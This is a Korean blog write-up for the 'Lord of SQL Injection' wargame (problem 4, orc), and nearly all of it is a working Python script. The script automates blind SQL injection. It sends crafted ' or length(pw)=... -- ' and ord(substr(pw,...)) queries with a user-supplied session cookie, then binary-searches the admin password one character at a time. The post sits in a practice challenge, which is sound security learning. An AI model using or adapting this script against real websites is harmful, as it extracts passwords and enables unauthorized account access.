Wargame/LOS(Load of SQL Injection) Writeup
AUTO blind SQL Tools (이진탐색버전) (feat. LOS no.4 orc)
Ate1es
2022. 2. 17. 14:57
오랜만에 Blind Sql Injection 문제를 풀다가 문득 툴이 만들고 싶어졌다.
만들다 보니 전체탐색이 비효율적으로 보였다.
.
.
.
그리하여 탄생한 BLIND SQL TOOL 이진탐색 Veeeeeersion!!!!
코드주인의 능지 이슈로 인해 코드 수정을 안하면 los 4번문제에서 밖에 돌아가지 않는다.
앞으로 범용성있게 바꿀 예정, (오랜만에 블로깅하나 할려고 억지로 들고왔다는건 안비밀)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
import requests
import time
header = {"cookie":""}
def get_list():
num_list = []
for i in range(23,123):
num_list.append(i)
return num_list
def input_data():
print("[*] BlIND SQL TOOL [*]")
print("----------------------")
url = str(input("[*] INPUT URL : "))
param = str(input("[*] INPUT PARAMETER : "))
cookie = str(input("[*] INPUT COOKIE(ex. SESSION=sess1234) : "))
speed = int(input("[*] INPUT SPEED LEVEL (1[min], 2, 3[max]) : "))
header["cookie"] = cookie
return find_length(url, speed, param)
def find_length(URL, speed, param):
num_list = get_list()
left = 0
right = len(num_list)-1
while left <= right:
time.sleep(5-speed)
mid = int((left + right) / 2)
query = "?{}= ' or length(pw)={} -- '".format(param, mid)
res = requests.get(URL+query, headers=header)
if "Hello admin" in res.text:
print("[*] Password Length : "+str(mid))
break
else:
query = "?{}= ' or length(pw)>{} -- '".format(param, mid)
res2 = requests.get(URL+query,headers=header)
if "Hello admin" in res2.text:
left = mid + 1
else:
right = mid - 1
return find_val(URL, speed, mid, param)
def find_val(URL, speed, length, param):
passwd = ""
num_list = get_list()
left = 0
right = len(num_list)-1
for i in range(1,length+1):
left = 0
right = len(num_list)-1
while left <= right:
time.sleep(5-speed)
mid = int((left + right) / 2)
query = "?{}=' or id='admin' and ord(substr(pw, {}, 1)) = '{}' -- '".format(param, i, num_list[mid])
res3 = requests.get(URL+query, headers=header)
if "Hello admin" in res3.text:
passwd = passwd + chr(int(num_list[mid]))
print("[*] Password : "+passwd)
break
else:
query = "?{}=' or id='admin' and ord(substr(pw, {}, 1))>'{}' -- '".format(param, i, num_list[mid])
res4 = requests.get(URL+query,headers=header)
if "Hello admin" in res4.text:
left = mid + 1
else:
right = mid - 1
if __name__=="__main__":
input_data()
|
cs |